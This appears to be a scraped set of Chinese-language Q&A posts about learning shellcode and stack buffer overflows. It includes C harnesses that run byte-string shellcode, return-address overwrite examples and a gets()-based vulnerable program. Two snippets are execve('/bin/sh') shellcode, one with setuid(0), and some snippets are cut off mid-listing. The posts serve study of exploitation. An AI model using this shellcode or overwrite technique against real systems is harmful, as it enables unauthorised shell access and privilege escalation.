我有以下工作NASM代码:
global _start
section .text
_start:
mov eax, 0x4
mov ebx, 0x1
mov ecx, message
mov edx, 0xF
int 0x80
mov eax, 0x1
mov ebx, 0x0
int 0x80
section .data
message: db "Hello, World!", 0dh, 0ah
Run Code Online (Sandbox Code Playgroud)
在屏幕上打印"Hello,World!\n".我还有以下C包装器,其中包含以前的NASM对象代码:
char code[] =
"\xb8\x04\x00\x00\x00"
"\xbb\x01\x00\x00\x00"
"\xb9\x00\x00\x00\x00"
"\xba\x0f\x00\x00\x00"
"\xcd\x80\xb8\x01\x00"
"\x00\x00\xbb\x00\x00"
"\x00\x00\xcd\x80";
int main(void)
{
(*(void(*)())code)();
}
Run Code Online (Sandbox Code Playgroud)
但是,当我运行代码时,似乎没有执行汇编程序代码,但程序退出正常.有任何想法吗?
谢谢
我试图通过Smashing the Stack for Fun和Profit在C中做一个例子,但我有点卡在一点,以下是代码(我有一个64位机器与Ubuntu 64位):
int main()
{
int x;
x = 0;
func(1,2,3);
x = 1;
printf("x is : %d\n", x);
}
void func(int a, int b, int c)
{
char buffer[1];
int *ret;
ret = buffer + 17;
(*ret) += 7;
}
Run Code Online (Sandbox Code Playgroud)
上面的代码工作正常,并且在返回x=1行时没有执行,但我无法理解背后的逻辑ret = buffer + 17;,不应该是ret = buffer + 16;8字节用于缓冲区,8用于保存的栈指针上的指针.
其次,我的理解是char buffer[1]占用8个字节(由于64位拱)并且如果我增加这个缓冲区来说buffer[2],仍然相同的代码应该工作正常,但这不会发生并且它开始给出seg错误.
此致,努曼
我在Linux(amd64)上玩过缓冲区溢出并试图利用一个简单的程序,但它失败了.我禁用了安全功能(使用sysctl -w kernel.randomize_va_space = 0和bios中的nx位进行地址空间布局随机化).它跳转到堆栈并执行shellcode,但它不会启动shell.execve系统调用成功,但之后它就会终止.知道什么是错的吗?运行shellcode独立工作正常.
额外问题:为什么在调用printf之前需要将rax设置为零?(见代码中的评论)
易受攻击的文件缓冲区:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
Run Code Online (Sandbox Code Playgroud)
shellcode.s
.text
.global …Run Code Online (Sandbox Code Playgroud) 我并没有真正了解这段代码的作用:
char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Run Code Online (Sandbox Code Playgroud)
好的,我知道:
int *ret;
Run Code Online (Sandbox Code Playgroud)
设置int的指针.和:
ret = (int *)&ret + 2;
Run Code Online (Sandbox Code Playgroud)
设置ret的地址和2个字节(我想.)
但我不知道这意味着什么:
(int *)&ret
Run Code Online (Sandbox Code Playgroud)
我知道什么&ret意思但不(int *)&ret意味着什么.此外,它是如何通过分配的值执行的shellcode shellcode来ret?
更新:有什么区别:
(int *)&ret + 2
Run Code Online (Sandbox Code Playgroud)
和:
&ret + 2
Run Code Online (Sandbox Code Playgroud) //shellcode.c
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
Run Code Online (Sandbox Code Playgroud)
谁能给我一个更好的解释?
链接http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html 突出显示了编写execve shellcode的方法.
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Run Code Online (Sandbox Code Playgroud)
line int有int (*ret)() = (int(*)())code;什么作用?
我有这段代码来测试shellcode但是我不明白所以任何人都能解释一下吗?
忘了汇编shellcode,我想要了解的是C代码,
char shellcode[] = "...";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}
Run Code Online (Sandbox Code Playgroud)
我的意思是一切,什么是空的(),请解释一下,好像你正在向初学者解释它.
我正在编写一个程序来加载和执行文件中的代码.但是我遇到了一个问题:"写"系统调用不起作用.代码成功加载并执行,但不在屏幕上显示任何文本.
加载代码的程序:
#include < stdio.h >
#include < stdlib.h >
int main(int argc,char* argv[])
{
unsigned int f_size = 0;
unsigned char* code_buf = NULL;
void (*func_call)(void) = NULL;
if(argc < 2)
{
printf("Usage: %s <FILE>\n",argv[0]);
return 1;
}
FILE* fp = fopen(argv[1],"rb");
if(!fp)
{
printf("Error while opening this file: %s\n",argv[1]);
return 1;
}
unsigned int fsize = 0;
fseek(fp,0,SEEK_END);
fsize = ftell(fp);
fseek(fp,0,SEEK_SET);
if(fsize < 4)
{
printf("Code size must be > 4 bytes\n");
return 1;
}
code_buf = …Run Code Online (Sandbox Code Playgroud) 在"堆喷洒"维基百科的文章表明,许多的JavaScript漏洞涉及脚本的可执行代码或数据存储空间的某处定位的shellcode,然后有解释跳到那里,然后执行它.我不明白的是,为什么不能将解释器的整个堆标记为"数据",以防止解释器通过DEP执行shellcode?同时javascript派生字节码的执行将由虚拟机完成,该虚拟机不允许它修改属于解释器的内存(这在V8似乎执行机器代码时不起作用,但可能适用于使用某种类型的Firefox字节码).
我想上面的声音听起来很微不足道,而且很可能就是这样的事情.所以,我试图了解推理中的缺陷或现有解释器实现中的缺陷.例如,当javascript请求内存时,解释器是否依赖于系统的内存分配而不是实现自己的内部分配,从而使得分离属于解释器和javascript的内存过于困难?或者为什么基于DEP的方法不能完全消除shellcode?
我对系统调用感到困惑__NR_execve.当我学习linux系统调用.我知道使用的正确方法execve是这样的:
char *sc[2];
sc[0]="/bin/sh";
sc[1]= NULL;
execve(sc[0],sc,NULL);
Run Code Online (Sandbox Code Playgroud)
然后,该功能execve将调用syscall()进入系统内核,把论据寄存器EAX,EBX,ECX和EDX.但是,如果我使用它仍然会成功
execve("/bin/sh",NULL,NULL);
Run Code Online (Sandbox Code Playgroud)
但是,如果我取代"/bin/sh"用"/bin/ls",它失败:
A NULL argv[0] was passed through an exec system call.
Run Code Online (Sandbox Code Playgroud)
我想知道为什么"/bin/sh"没有足够的参数可以成功执行而"/bin/ls"失败?